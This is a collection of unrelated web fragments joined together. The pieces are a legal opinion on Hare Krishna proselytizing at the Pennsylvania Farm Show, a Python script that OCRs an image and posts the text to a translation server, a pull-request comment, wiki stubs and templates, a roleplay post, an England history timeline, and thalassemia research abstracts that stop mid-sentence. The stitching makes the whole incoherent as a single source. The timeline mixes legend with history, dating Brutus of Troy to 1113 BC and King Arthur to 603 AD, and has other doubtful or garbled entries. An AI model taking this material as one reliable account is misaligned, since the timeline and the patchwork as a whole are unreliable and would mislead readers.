It is beyond dispute that the freedoms guaranteed by the First Amendment are fundamental and are applied to the States by the Fourteenth Amendment. It is also beyond dispute that there is sufficient “state action” present to trigger the requirements of the Fourteenth Amendment. The Farm Show Complex is owned and operated by the Commonwealth of Pennsylvania. The annual Farm Show is operated pursuant to the control and direction of the State Farm Products Show Commission. Therefore, the issue is narrowed to whether members of the Hare Krishna Movement have a constitutional right to enter the Farm Show complex during the Farm Show and proselytize their beliefs without leasing a designated space within the Complex.
The courts have held that in order for First Amendment rights to attach to State-owned property, it must be held open to the public. Several courts have considered the nature of different types of facilities to determine whether they have historically and in actuality been open to the public. The earliest decisions dealt with sidewalks, parks and streets. In Hague v. Committee for Industrial Organization, 307 U.S. 496, 515-16 (1939), the Supreme Court held:
“Wherever the title of streets and parks may rest, they have immemorially been held in trust for the use of the public and, time out of mind, have been used for purposes of assembly, communicating thoughts between citizens, and discussing public question . . .”
See also Greer v. Spock, 424 U.S. 828, 96 S. Ct. 1211 (1976), and Murdock v. Pennsylvania, 319 U.S. 105 (1943).
Other places which, for at least limited purposes, have been declared public places are: airports (International Society for Krishna Consciousness v. Dallas Fort Worth Regional Airport Board, 391 F. Supp. 606 (N.D. Texas, 1971)); bus terminals (Wolin v. Port of New York Authority, 392 F.2d 83 (2nd Cir. 1968)); public schools (Tinker v. Des Moines Independent Community School District, 393 U.S. 503 (1969)); a State office building housing an unemployment office (Unemployed Workers Union v. Hackett, 332 F. Supp. 1372 (D.R.I., 1971)); a State House (Toward A Gayer Bicentennial Committee v. Rhode Island Bicentennial Foundation, 417 F. Supp. 632 (D.R.I. 1976)); and a municipal auditorium (Southeastern Promoters Ltd. v. City of West Palm Beach, 457 F.2d 1016 (5th Cir. 1972)).
Other government owned or controlled facilities have not been held to be open to the public for the exercise of First Amendment rights: prisons (Adderley v. Florida, 385 U.S. 39 (1966)); mass transit facilities (Lehman v. City of Shaker Heights, 418 U.S. 298 (1974)); a Federal military base (Greer v. Spock, 424 U.S. 828, 96 S. Ct. 1211 (1976)); a city council chamber during a council meeting (State v. McNair, 178 Neb. 763, 135 N.W.2d 463 (1965)); and, by way of dicta, hospitals, libraries and office buildings (Chicago Area Military Project v. City of Chicago, 508 F.2d 921 (7th Cir. 1975)).
The question of whether the Farm Show complex itself is a public facility must now be resolved. The complex is operated by the Commonwealth and is funded with public moneys. In addition, the State Farm Products Show Commission has the authority under section 1709 of The Administrative Code of 1929, 71 P.S. §449, “to lease space to exhibitors, including the departments, boards, and commissions of the State Government, and to lease the Farm Show Building, at any time, to individuals, associations, or corporations, for exhibitions, conventions, or other proper purposes. . . .”
To that end, the commission has leased the building for various meetings, conventions and sporting events regardless of whether they are related to agriculture. Furthermore, as prevously indicated, exhibitors during the Farm Show have included organizations which were not necessarily tied to agriculture.
In Southeastern Promotions, Ltd. v. City of West Palm Beach, 457 F.2d 1016 (5th Cir. 1972), the court had to determine whether a municipal auditorium was a public place. The court in reaching its decision had little difficulty.
“[T]his municipal facility was constructed by the citizens of West Palm Beach and funded with public monies. In addition, the auditorium is mantained at the expense of the taxpayers, and it is managed by the duly elected and appointed officials of the city. Therefore, it is undisputed that the West Palm Beach Municipal Auditorium is a public facility.” 457 F.2d 1016, 1018, 1019 (5th Cir. 1972).
Furthermore, the considerations apparent in those cases where the courts thought government facilities were not open to the public are not evident in this instance. Therefore, it is quite clear that the Farm Show Arena does qualify as a public facility.
Once a facility has been designated as being open to the public, the inquiry does not end. The government still might constitutionally restrict the exercise of First Amendment rights therein. See Cox v. Louisiana, 379 U.S. 536, 538, 539 (1965); Chicago Area Military Project v. City of Chicago, 508 F.2d 921, 925 (7th Cir. 1975); and Toward A. Gayer Bicentennial Foundation, 417 F. Supp. 632, 638 (D.R.I. 1976).
The test for determining when the government may restrict the exercise of First Amendment rights in a public facility was best expressed in Wolin v. Port of New York Authority, 392 F.2d 83, 89 (2nd Cir. 1968). The court in Wolin held:
“[W]here the issue involves the exercise of First Amendment rights in a place clearly available to the general public, the inquiry must go further: does the character of the place, the pattern of usual activity, the nature of its essential purpose and the population who take advantage of the general invitation extended make it an appropriate place for communication of views on issues of political and social significance.”
The test, as expressed in Wolin, turns on the question of whether the forum is appropriate for the expression of First Amendment rights.
In the present case, the Farm Show complex consists of a large auditorium (the arena) and several small surrounding halls and rooms. Movement from one area to another is facilitated by several connecting passageways. During the annual Farm Show, exhibitors lease space in the auditorium and surrounding halls, and the public is invited to enter and view the exhibits. During a normal day several thousand persons will visit the Farm Show and view the exhibits. The essential purpose of the Farm Show, according to section 1709 of The Administrative Code of 1929, 71 P.S. §449(a), is the promotion of agriculture and other industries of the Commonwealth. However, as previously indicated, exhibitions not related to agriculture are permitted within the complex and the invitation is to the public at large.
Utilizing the Wolin test, it is evident that the Farm Show is not an inappropriate forum for the expression of First Amendment rights. It is a facility designed so that large numbers of people may move around easily and, indeed, the purpose of the Farm Show is to attract a large segment of the public. Therefore, subject to the subsequently enumerated conditions, the Hare Krishna Movement may proselytize their religious beliefs during the annual Farm Show.
While the Farm Show complex may be a public place which is appropriate for the expression of First Amendment rights, the Department of Agriculture is not powerless to regulate the nature of the Farm Show and conduct of the Hare Krishna Movement at the Farm Show.
“The rights of free speech and assembly, while fundamental in our democratic society, still do not mean that everyone with opinions or beliefs to express may address a group at any public place and at any time. The constitutional guarantee of liberty implies the existence of an organized society maintaining public order, without which liberty itself would be lost in the excesses of anarchy.” Cox v. Louisiana, 379 U.S. 536, 554 (1965).
“Wherever the title of streets and parks may rest, they have immemorially been held in trust for the use of the public and, time out of mind, have been used for purposes of assembly, communicating thoughts between citizens, and discussing public questions. . . The privilege of a citizen of the United States to use the streets and parks for communication of views on national questions may be regulated in the interest of all; it is not absolute, but relative, and must be exercised in subordination to the general comfort and convenience, and in consonance with peace and good order.” Hague v. Committee for Industrial Organization, 307 U.S. 496, 515 (1939).
Therefore, the right of the Hare Krishna Movement to proselytize their beliefs at the annual Farm show may be limited by the Commonwealth in order to preserve the interests of the public in general. The question then arises as to how and when the Commonwealth may limit the exercise of First Amendment rights.
Several cases have held that the State may limit the expression of First Amendment rights in order to preserve public peace and protect the general order: Cox v. Louisiana, 379 U.S. 536 (1965); Chaplinsky v. New Hampshire, 315 U.S. 568 (1942); Benson v. Rich, 448 F.2d 1371 (10th Cir. 1971). Therefore, the State may act to suppress or to prevent an imminent breach of peace or the disruption of its activities. However, it should be pointed out that one’s First Amendment rights may not be abridged because of the possibility of disorder on the part of others: Brown v. Louisiana, 383 U.S. 131, 133 (1966); Wright v. Georgia, 373 U.S. 284, 293 (1963).
The Department of Agriculture may also act to limit the activities of the Hare Krishna Movement if its activities alone, or combined with the activities of other groups in similar circumstances, threaten the essential nature of the Farm Show.
“The State, no less than a private owner of property, has power to preserve the property under its control for the use to which it is lawfully dedicated.” Adderley v. Florida, 385 U.S. 39, 47 (1966).
See also Greer v. Spock, 424 U.S. 828, 96 S.Ct. 1211 (1976), Benson v. Rich, 448 F.2d 1371 (10th Cir. 1971).
The essential purpose of the Farm Show, as previously indicated, is the advancement of agriculture and other industries of the Commonwealth of Pennsylvania. If the actions of the Hare Krishna Movement, or other groups exercising their First Amendment rights, threaten to seriously impair or destroy the primary purpose of the Farm Show, then the Department of Agriculture may take action to limit the expression of First Amendment rights and preserve the purpose of the Farm Show.
Finally, it should be pointed out that although the Hare Krishna Movement solicits contributions in order to defray their costs, it is of no consequence and does not remove their activities from the protection afforded by the First Amendment. As long as the solicitation of funds remains incidental to the essential nature of their purpose, the propagation of their religious beliefs, the Hare Kirshna Movement may solicit contributions under the protection of the First Amendment: Murdock v. Pennsylvania, 319 U.S. 103, 105 (1943); International Society for Krishna Consciousness v. City of New Orleans, 347 F.Supp. 945 (E.D. La. 1972).
In conclusion, it is our opinion, and you are hereby advised, that the Hare Krishna Movement, and other religious groups, do have a First Amendment right to proselytize their religious beliefs at the annual Farm Show and to solicit donations to defray costs. However, the Department of Agriculture may act to limit the activities of the Hare Krishna Movement in order to promote the interests of the public at large, maintain public order or preserve the essential character and nature of the Farm Show. Prior to taking any action that would limit the activities of the Hare Krishna Movement, or other religious groups at the Farm Show Complex, the Department of Agriculture should consult with the Justice Department.
. In Adderley v. Florida, 385 U.S. 39 (1966), the court relied heavily on the need for security in holding that a prison was not a public place. In Greer v. Spock, 424 U.S. 828, 96 S.Ct. 1211 (1976), the majority stressed the need for discipline and order in training soldiers. In Lehman v. City of Shaker Heights, 418 U.S. 298 (1974), the fact that passengers on mass transit vehicles represented a captive audience swayed the court. Finally, in State v. McNair, 178 Neb. 763, 135 N.W.2d 463 (1965), the decision rested on the fact that plaintiffs had intended to disrupt a municipal council meeting through the exercise of their freedom of speech. It is apparent that the facts which influenced the courts in the preceding cases, such as the overriding need for security and discipline, are absent in the instant matter.
. A question does arise as to whether the Department of Agriculture, by permitting members of the Hare Krishna Movement to enter the complex during the Farm Show and proselytize their beliefs, has violated the Establishment Clause of the First Amendment. A review of decisions involving the Establishment Clause demonstrates that this is not the case.
The test to determine whether certain State activities violate the Establishment Clause is best enunciated in School District of Abington Township v. Schempp, 374 U.S. 203, 222 (1963):
“[W]hat are the purpose and the primary effect of the enactment? If either is the advancement or inhibition of religion then the enactment exceeds the scope of legislative power as circumscribed by the Constitution. That is to say that to withstand the strictures of the Establishment Clause there must be a secular legislative purpose and a primary effect that neither advances nor inhibits religion.”
See also Lemon v. Kurtzman, 403 U.S. 602 (1971).
In the instant case, the purpose and effect of permitting members of the Hare Krishna Movement to proselytize their beliefs at the annual Farm Show, is simply to afford them the same opportunity to exercise their First Amendment rights, in an appropriate place, as would be afforded any other group.
A review of Keegan v. University of Delaware, 349 A.2d 14 (Del. Super. 1975), is instructive. In Keegan, the court held that the University of Delaware did not run afoul of the Establishment Clause by allowing a Roman Catholic group to hold religious services in the commons room of a dormitory. The court held that no violation of the Establishment- Clause occurred where religious groups were allowed the same rights and privileges attendant with the use of the commons room as were accorded other groups. Accepting the decision in Keegan, where the court permitted a religious service in the State-owned dormitory, the Department of Agriculture, a fortiori, does not violate the Establishment Clause in this matter where there is no religious service.
|
from PIL import Image
from pytesseract import pytesseract
import argparse
import xmltodict
import json
import cv2
import os
import requests
from puttext import puttext
from nltk.tokenize import sent_tokenize
import math
filename = '../upload/table1.png'
o_filename = '../upload/table2.png'
conf_data = pytesseract.run_tesseract(
filename,output_filename_base='test',lang='eng+hin',extension='xml', config='alto --oem 1')
f_hin = open("test.xml", "r")
# print(xmltodict.parse(f_hin.read()))
data = xmltodict.parse(f_hin.read())
blocks = data['alto']['Layout']['Page']['PrintSpace']['TextBlock']
for block in blocks:
textline = block['TextLine']
text = ''
height = 0
x = block['@HPOS']
y = block['@VPOS']
word_count = 0
no_lines = 0
line_height = 0
previous_position = 0
previous_position_x = 0
previous_position_y = 0
if isinstance(textline, list):
no_lines = len(textline)
print(no_lines)
# if line_height == 0:
line_height = int(block['@HEIGHT']) / len(textline)
for line in textline:
if line['String'] is not None:
words = line['String']
if height == 0:
height = line['@HEIGHT']
if isinstance(words, list):
for word in words:
if previous_position == 0:
previous_position = int(word['@HPOS']) + int(word['@WIDTH'])
previous_position_x = int(word['@HPOS'])
previous_position_y = int(word['@VPOS'])
text += word['@CONTENT'] + ' '
else:
print('diff'+str(int(word['@HPOS']) - previous_position))
if abs(int(word['@HPOS']) - previous_position) > 10 and abs(previous_position_y - int(word['@VPOS'])) < int(word['@HEIGHT']):
engarr = []
translation_text = ''
# if word_count == 0:
sent_text = sent_tokenize(text)
for sent in sent_text:
engarr.append({'src': sent, 'id': 1})
res = requests.post('http://52.40.71.62:3003/translator/translation_en', json=engarr)
dictFromServer = res.json()
if dictFromServer['response_body'] is not None:
for translation in dictFromServer['response_body']:
# print(translation)
translation_text += translation['tgt'] + ' '
puttext(int(height),previous_position_x,previous_position_y,translation_text,o_filename, len(translation_text.split(' ')), line_height)
text = word['@CONTENT']
else:
text += word['@CONTENT'] + ' '
previous_position = int(word['@HPOS']) + int(word['@WIDTH'])
previous_position_y = int(word['@VPOS'])
previous_position_x = int(word['@HPOS'])
else:
text += words['@CONTENT'] + ' '
# previous_position = int(words['@HPOS']) +int(words['@WIDTH'])
# previous_position_y = int(words['@VPOS'])
# previous_position_x = int(words['@HPOS'])
sent_text = sent_tokenize(text)
engarr = []
translation_text = ''
# if word_count == 0:
for sent in sent_text:
engarr.append({'src': sent, 'id': 1})
# translation_text += sent + ' '
# print(sent)
# print(len(translation_text.split(' ')))
# word_count = math.ceil(len(translation_text.split(' '))/no_lines)
# # print(word_count)
# puttext(int(height),int(x),int(y),translation_text,'../upload/1562311529_hin_0.jpg', int(word_count), line_height)
res = requests.post('http://52.40.71.62:3003/translator/translation_en', json=engarr)
dictFromServer = res.json()
if dictFromServer['response_body'] is not None:
for translation in dictFromServer['response_body']:
print(translation)
translation_text += translation['tgt'] + ' '
if word_count == 0:
word_count = math.ceil(len(translation_text.split(' '))/no_lines)
puttext(int(height),int(x),int(y),translation_text,o_filename, int(word_count), line_height)
else:
# if line_height == 0:
line_height = int(block['@HEIGHT'])
if textline['String'] is not None:
words = textline['String']
# if height == 0:
height = textline['@HEIGHT']
# if word_count == 0:
if isinstance(words, list):
for word in words:
text += word['@CONTENT'] + ' '
# previous_position = int(word['@HPOS']) + int(word['@WIDTH'])
# previous_position_y = int(word['@VPOS'])
# previous_position_x = int(word['@HPOS'])
else:
text += words['@CONTENT'] + ' '
# previous_position = int(words['@HPOS']) + int(words['@WIDTH'])
# previous_position_y = int(words['@VPOS'])
# previous_position_x = int(words['@HPOS'])
word_count = len(text.split(' '))
# print('1')
# print(text)
# puttext(int(height),int(x),int(y),text,'../upload/1562311529_hin_0.jpg', int(word_count), line_height)
engarr = []
engarr.append({'src': text, 'id': 1})
res = requests.post('http://52.40.71.62:3003/translator/translation_en', json=engarr)
dictFromServer = res.json()
if dictFromServer['response_body'] is not None:
for translation in dictFromServer['response_body']:
print(translation)
puttext(int(height),int(x),int(y),translation['tgt'],o_filename, int(word_count), line_height)
|
compress_find_cuda_config.py: fix file names in&out
Hi Liu, thank you for your PR. This is a difference between the Google-internal code and open source that we need to handle on our side. I will need to take care of this from our side.
This should be fixed now. Thanks a lot for your PR!
|
Category:Additional magic word templates
Mediawiki has a lot of magic words. But it's still not enough...here's some additional ones.
|
England Historical Overview
England History
1300 BC the Druid Kings of Britain
1113 BC Brutus of Troy
750 BC The tribe of Judah
700-600 BC Celts from Gaul
37 AD Joseph of Arimathea
43 AD Rome invaded Britain
65-68 AD Rome invaded Britain but were repulsed
Rome invaded Britain but were repulsed by the fighting Islanders.
100 AD Influence of Rome
325 AD Council of Nicea
400 AD "Britain's History Prior to Christainity"
603 AD King Arthur
603 AD Saxons conquered Britain
740 AD Norwegian Vikings
865 AD Danish Vikings
1050 AD Hastings
1066-1087 William the Conqueror
1077 Provost Alwin Child
1100 King William Ruffus
1216 Magna Carta
Parliament
1300 Wars
=== 1400's Cclasses of Gentry and Lords ===
English wars
1484 Freeman
1538 King Henry VIII
1542 Church of England
1584 Puritan Movement
1588-89 War with Spain
1611 King James I
1641 Irish rebellion
1642-1651 England's Civil War
1661 King Charles II
1688 Glorious Revolution
James II the brother of Charles the II lost the throne to William the III.
1688–1689 William of Orange
William of Orange from Holland crowned King of England.
1707 United Kingdom
England and Wales united with Scotland to form the United Kingdom.
1733 English
English replaced Latin in official records.
1752 Gregorian calendar
1756–1765 Industrial Revolution
1775-1783 American Revolutionary War
1800 Parliament
Ireland became part of the United Kingdom.
1804-1815
War with Napolean and France in which England was victorious.
1812 Napolean
War with the United States in which the United States were victorious.
1830 First railways
First railways appeared in England.
1834 Workhouses
Poor law unions took poor relief responsibilities away from parishes. Workhouses thus established.
1837 United_Kingdom Civil registration
1841 United_Kingdom_Census
The first genealogically useful census taken in England.
1858 Probate Registry
Principal Probate Registry began handling all English probates.
1882 Married women property rights
Married women were given the right to use and dispose of their own property.
1914-1918 World War I
World War I with Germany, Russia.
1940-1945 World War II
World War II with Germany, Japan, Italy, Russia
FamilySearch.org Royal Line Sources
* Handbook to the Maude Roll
* A genealogical history of the kings of England, and monarchs of Great Britain
* Pedigrees of the ancient kings of Britain, and princes of Wales
* The mammoth book of British kings and queens
* Britain's kings and queens
* The kings and queens of England and Scotland
* Early British history
* A help to English history (kings)
* History of the Stewart or Stuart family
* The royal line
* The ancestry of Charles II King of England : a medieval heritage (twelve generations)
Websites
* BBC Historic figures Very good site on history.
* History_of_England(Wikipedia)
* English History(Wikipedia)
* Directory of Royal Genealogical Data
* Genealogy of the British Royal Family
* English Genealogical Tables
* Royal genealogies, mythology and legend
|
Batman Beyond (Movie)
{{DC Database:Movie Template
* Image = Batman Beyond Movie.jpg
* Aliases = Batman Beyond: The Movie
* Universe = DCAU
* Directors = Curt Geda; Butch Lukic; Dan Riba; Yukio Suzuki
* Producers =
* Writers = Paul Dini; Alan Burnett; Stan Berkowitz; Hilary J. Bader; Rich Fogel
* Musicians =
* Cinematographers =
* Editors =
* Distributors =
* Running Time =
* Rating =
* Budget =
* Release Date =
* Previous Movie =
* Next Movie =
* Appearances =
Rebirth, Part I
Featured Characters: Supporting Characters: Villains: Other Characters: Locations: Items: Vehicles:
* Hamilton Hill High School
* Hamilton Hill High School
* Hamilton Hill High School
Rebirth, Part II
Featured Characters: Supporting Characters: Villains: Locations: Items:
Golem
Featured Characters: Supporting Characters: Villains: Other Characters: Locations: Items:
* Frank Watt
Meltdown
Featured Characters: Supporting Characters: Villains: Other Characters: Locations:
The Winning Edge
Featured Characters: Supporting Characters: Villains: Other Characters: Locations: Items:
* Mason Forrest
* Mason Forrest
* Mason Forrest
* Coach Creagar
* Dirk
* Jody
* Jody
Dead Man's Hand
Featured Characters: Supporting Characters: Villains: Other Characters: Locations:
* Samir
* Nicole
* Cast =
}}
* Notes =
* Trivia =
* Links =
|
Board Thread:Roleplaying/@comment-5262726-20141008014316/@comment-5614539-20141105040934
Train more soldiers.
What is the situation in Valenwood? Are they loyal to the Empire as they agreed to be?
|
Commenced in January 2007
Frequency: Monthly
Edition: International
Paper Count: 11
Search results for: thalassemia
11 Prenatal Diagnosis of Beta Thalassemia Intermedia in Vietnamese Family: Case Report
Authors: Ha T. T. Ly, Truc B. Truc, Hai N. Truong, Mai P. T. Nguyen, Ngoc D. Ngo, Khanh V. Tran, Hai T. Le
Abstract:
Beta thalassemia is one of the most common inherited blood disorders, which is characterized by decreased or absent in beta globin expression. Patients with Beta thalassemia whose anemia is not so severe as to necessitate transfusions are said to have thalassemia intermedia. Objective: The goal of this study is prenatal diagnosis for pregnancy woman with Beta thalassemia intermedia and her husband with Beta thalassemia carrier at high risk of Beta thalassemia major in Northern of Vietnam. Material and method: The family has a 6 years-old compound heterozygous thalassemia major for CD71/72(+A) and Hbb:c. -78A>G/nt-28(A>G) male child. The father was heterozygous for CD71/72(+A) mutation which is Beta plus type and the mother was compound heterozygosity of two different variants, namely, Hbb: c. -78A>G/nt-28(A>G) and CD26(A-G) HbE. Prenatal Beta thalassemia mutation detection in fetal DNA was carried out using multiplex Amplification-refractory mutation system ARMS-PCR and confirmed by direct Sanger-sequencing Hbb gene. Prenatal diagnoses were perfomed by amniotic fluid sampling from pregnant woman in the 16-18th week of pregnancy after the genotypes of parents of the probands were identified. Result: When amniotic fluid sample was analyzed for Beta globin gene (Hbb), we found that the genotype is heterozygous for CD71/72(+A) and CD26(A-G) HbE. This genotype is different from the 1st child of this family. Conclusion: Prenatal diagnosis helps the parents to know the genotype and the thalassemia status of the fetus, so they can have early decision on their pregnancy. Genetic diagnosis provided a useful method in diagnosis for familial members in pedigree, genetic counseling and prenatal diagnosis.
Keywords: beta thalassemia intermedia, Hbb gene, pedigree, prenatal diagnosis
Procedia PDF Downloads 263
10 Serum Interlukin-8 and Immunomodulation in Beta Thalassemia Patients
Authors: Shahira El Shafie, Hanaa Eldash, Engy Ghabbour, Mohamed Eid
Abstract:
Several immunologic defects can be found in patients with beta-thalassemia, among which the impairment of neutrophil phagocytic function is of utmost importance. Attention has been directed to the role of proinflammatory cytokines in neutrophil chemotaxis and phagocytosis. Interleukin-8 (IL-8) is an important chemotactic and activation peptide for neutrophils; changes in IL-8 level and potential correlation with neutrophil function can be relevant to immunomodulation pathophysiology in beta-thalassemia patients. This case-control study aimed to evaluate IL-8 level and to assess granulocyte recruitment, as markers of immunomodulation, in poly-transfused thalassemia patients attending Fayoum University Hospitals. The study was conducted on 50 patients with ß thalassemia and 32 age-matched controls. 21/50 patients were transfused more than ten times, and 29/50 were transfused in a lower frequency. Patients and controls were subjected to thorough history taking and clinical examination, measurement of IL-8 level using human IL-8 ELISA kit, and Rebuck skin window technique (RSWT) to assess granulocyte recruitment. Our data showed statistically significant higher levels of IL-8 in ß thalassemia patients compared to control with a much higher difference in patients transfused more than ten times. Neutrophil recruitment was significantly lower in ß thalassemia patients compared to control at 4 hours and 24 hours test time. Although IL-8, the main chemotactic pro-inflammatory cytokine showed a higher level in thalassemia patients, neutrophils recruitment was significantly lower, especially in those receiving more than ten transfusion times. Our findings suggest a possible role of other neutrophil chemotactic factors, defective neutrophil response, or increased IL-8 as compensation of abnormal function. We recommend the use of IL-8 and Rebuck skin window technique as useful markers of immunomodulation in thalassemia and further study for these biomarkers to assess their clinical implications and impact on the management of thalassemia patients.
Keywords: beta-thalassemia, Interleukin-8, Rebuck skin window technique, immunomodulation
Procedia PDF Downloads 63
9 Depressive Trends in Children and Adolescents Suffering from Beta-Thalassemia
Authors: Sanober Khanum, Barerah Siddiqui, Asim Qidwai
Abstract:
Objective: To determine the risk factors and frequency of depressive trends in children and adolescents suffering from Beta-Thalassemia. Background: Thalassemia is a chronic disease affecting 10,000 people in 60 countries. Many studies show that prolonged medical conditions cause depression. Due to the invasive procedures and suffering, Beta-Thalassemia cause great psychological distress to both children and their caregivers. The study shows 14-24% prevalence of psychiatric problems in Thalassemic patients. Method: Sample consisted of 195 registered patients of A.M.T.F (Female=95 and Male=100). Based on age range the sample was divided into two groups, Group A = children (4-9 years) and Group B = adolescent (10-16 years). A detailed interview with a self-made screening measure was administered on parents to find out the level of depression in patients. Statistics: Chi-square and t-test was applied in order to analyze the data. Results show high prevalence of depression, depression n= 131(66.83%), no depression n=65(33.16%). Analyses reflect that age influences the level of depression Adolescent (71.05%) and Children (64.16%). The analysis also shows a difference in level of depression between both genders. (t=2.975, p < .05). Conclusion: There is a high possibility of developing depressive trend in children affected with Beta Thalassemia; especially females. Therefore, there is a dire need for psychological screening and appropriate treatment in order to improve physical; as well as mental health.
Keywords: childhood depression, chronic illness, psychopathology, Thalassemia
Procedia PDF Downloads 238
8 Prevalence of Malocclusion and Assessment of Orthodontic Treatment Needs in Malay Transfusion-Dependent Thalassemia Patients
Authors: Mohamed H. Kosba, Heba A. Ibrahim, H. Rozita
Abstract:
Statement of the Problem: The life expectancy for transfusion-dependent thalassemia patients has increased dramatically with iron-chelation therapy and other modern management modalities. In these patients, the most dominant maxillofacial manifestations are protrusion of zygomatic bones and premaxilla due to the hyperplasia of bone marrow. The purpose of this study is to determine the prevalence of malocclusion and orthodontic treatment needs according to the Dental Aesthetic Index (DAI) among Malay transfusion-dependent thalassemia patients. Orientation: This is a cross-sectional study consist of 43 Malay transfusion-dependent thalassemia patients, 22 males, and 19 females with the mean age of 15.9 years old (SD 3.58). The subjects were selected randomly from patients attending Paediatrics and Internal Medicine Clinic at Hospital USM and Hospital Sultana Bahiyah. The subjects were assessed for malocclusion according to Angle’s classification, and orthodontic treatment needs using DAI. The results show that 22 of the subjects (51.1%) have class II malocclusion, 12 subjects (28%) have class І, while 9 subjects (20.9%) have class Ⅲ. The assessment of orthodontic treatment needs to reveal 22 cases (51.1%) fall in the normal/minor needs category, 12 subjects (28%) fall in the severe and very severe category, while 9 subjects (20.9%) fall in the definite category. Conclusion & Significance: Half of Malay transfusion-dependent thalassemia patients have Class Ⅱmalocclusion. About 28% had malocclusion and required orthodontic treatment. This research shows that Malay transfusion-dependent thalassemia may require orthodontic management; earlier intervention to reduce the complexity of the treatment later, suggesting functional appliance as a suitable treatment option for them, a twin block appliance together with headgear to restrict maxillary growth suggested for management. The current protocol implemented by the Malaysian Ministry of Health for the management of these patients seems to be sufficient since the result shows that about 28% require orthodontic treatment need, according to DAI.
Keywords: prevalence, DAI, thalassaemia, angle classification
Procedia PDF Downloads 31
7 Long-Term Cohort of Patients with Beta Thalassemia; Prevailing Role of Serum Ferritin Levels in Hypocalcemia and Growth Retardation
Authors: Shervin Rashidinia, Sara Shahmoradi, Seyyed Shahin Eftekhari, Mohsen Talebizadeh, Mohammad Saleh Sadeghi
Abstract:
Background: Beta-thalassemia Major (BTM) is a kind of hereditary hemolytic anemia which depended on regular monthly blood transfusion. However, iron deposition into the organs leads to multi-organ damage. The present study is the first study which aimed to evaluate the average of five-years serum ferritin level and compared by the prevalence of short stature and hypocalcemia. Materials/Methods: A cross-sectional retrospective study which a total of 140 patients with beta-thalassemia who were referred to Qom Thalassemia Clinic between February 2011 and July 2016 were enrolled to be reviewed. The exclusion criteria were consisting of incomplete medical records, diagnosis less than 2-years-ago and the blood transfusion less than every 4 weeks. The data including age, gender, weight, height, age of initial blood transfusion, age of initial chelation therapy, ferritin, and calcium were collected and analysis by SPSS version 24. Results: A total of 140 patients were enrolled. Of them, 75 (53.4%) were female. The mean age of the patients was 13.4±4.6 years.The mean age of initial diagnosis was 20.2±7.4 months. Hypocalcemia and short stature were occurred in 41 (29.3%) and 37 (26.4%) patients, respectively. The mean five-years serum ferritin level was significantly higher in the patients with short stature and hypocalcemia (P<0.0001). However, rise in serum ferritin level significantly increases the risk of short-stature and hypocalcemia (1.0004- and 1.0029 fold, respectively). Conclusion: We demonstrated that prevalence of short stature and hypocalcemia were significantly higher in the BTM.However, ferritin significantly increases the risk of short stature and hypocalcemia.
Keywords: beta-thalassemia, ferritin, growth retardation, hypocalcemia
Procedia PDF Downloads 125
6 Ethical Discussions on Prenatal Diagnosis: Iranian Case of Thalassemia Prevention Program
Authors: Sachiko Hosoya
Abstract:
Objectives: The purpose of this paper is to investigate the social policy of preventive genetic medicine in Iran, by following the legalization process of abortion law and the factors affecting the process in wider Iranian contexts. In this paper, ethical discussions of prenatal diagnosis and selective abortion in Iran will be presented, by exploring Iranian social policy to control genetic diseases, especially a genetic hemoglobin disorder called Thalassemia. The ethical dilemmas in application of genetic medicine into social policy will be focused. Method: In order to examine the role of the policy for prevention of genetic diseases and selective abortion in Iran, various resources have been sutudied, not only academic articles, but also discussion in the Parliament and documents related to a court case, as well as ethnographic data on living situation of Thalassemia patients. Results: Firstly, the discussion on prenatal diagnosis and selective abortion is overviewed from the viewpoints of ethics, disability rights activists, and public policy for lower-resources countries. As a result, it should be noted that the point more important in the discussion on prenatal diagnosis and selective abortion in Iran is the allocation of medical resources. Secondly, the process of implementation of national thalassemia screening program and legalization of ‘Therapeutic Abortion Law’ is analyzed, through scrutinizing documents such as the Majlis record, government documents and related laws and regulations. Although some western academics accuse that Iranian policy of selective abortion seems to be akin to eugenic public policy, Iranian government carefully avoid to distortions of the policy as ‘eugenic’. Thirdly, as a comparative example, discussions on an Iranian court case of patient’s ‘right not to be born’ will be introduced. Along with that, restrictive living environments of people with Thalassemia patients and the carriers are depicted, to understand some disabling social factors for people with genetic diseases in the local contexts of Iran.
Keywords: abortion, Iran, prenatal diagnosis, public health ethics, Thalassemia prevention program
Procedia PDF Downloads 268
5 Cascade Screening for Beta-Thalassemia in Pakistan: Relatives’ Experiences of a Decision Support Intervention in Routine Practice
Authors: Shenaz Ahmed, Hussain Jafri, Muhammed Faran, Wajeeha Naseer Ahmed, Yasmin Rashid, Yasmin Ehsan, Shabnam Bashir, Mushtaq Ahmed
Abstract:
Low uptake of cascade screening for βeta-Thalassaemia Major (β-TM) in the ‘Punjab Thalassaemia Prevention Project’ (PTPP) in Pakistan led to the development of a ‘decision support intervention for relatives’ (DeSIRe). This paper presents the experiences of relatives of children with β-TM of the DeSIRe following its use by PTPP field officers in routine clinical practice. Fifty-four semi-structured qualitative interviews were conducted (April to June 2021) with relatives in seven cities in the Punjab province (Lahore, Sheikhupura, Nankana Sahab, Kasur, Gujranwala, Multan, and Faisalabad). Thematic analysis shows that participants were satisfied with the content of the DeSIRe and its delivery by the field officers in a family meeting. They understood the main purpose of the DeSIRe was to improve their knowledge of β-TM and its inheritance, to enable them to make decisions about thalassemia carrier testing, particularly before marriage. While participants raised concerns about the stigma of testing positive, they believed the DeSIRe was an appropriate intervention, which supported relatives to make informed decisions. Our findings show the DeSIRe is appropriate for use by healthcare professionals in routine practice in a low-middle income country and has the potential to facilitate shared decision-making about cascade screening for thalassemia. Further research is needed to prove the efficacy of the DeSIRe.
Keywords: thalassemia, Pakistan, cascade screening, decision support
Procedia PDF Downloads 52
4 Correlation of Serum Ferritin and Left Ventricular Function in Beta Thalassemia Major Patients with Increased Transfusion Dependence
Authors: Amna Imtiaz
Abstract:
Aims: To correlate serum ferritin with left ventricular function in beta thalassemia major patients with increased transfusion dependence and to find out whether echocardiography can be used to assess pre clinical cardiac disease in these patients. Methods: The cross sectional study was conducted at Department of Pathology, Shaheed Zulfiqar Ali Bhutto Medical University, Pakistan Institute of Medical Sciences, Islamabad. 60 patients of beta thalassemia major with increased transfusion dependence were enrolled in this study. Serum ferritin levels of all patients were measured by using indirect enzyme linked immunosorbent assay (ELISA). Echocardiography was performed on all patients by a consultant cardiologist by linking conventional echocardiography with tissue Doppler imaging. Ejection fraction and E/A ratio were measured in all patients to assess left ventricular systolic and diastolic function. Results: On the basis of serum ferritin level, patients were divided into three groups. Group I consisted of patients having serum ferritin level equal to or less than 2500 ng/ml. A total of 25 patients were placed in this group. Group II included patients having serum ferritin level between 2500 to 5000 ng/ml. A total of 22 patients were placed in this group. 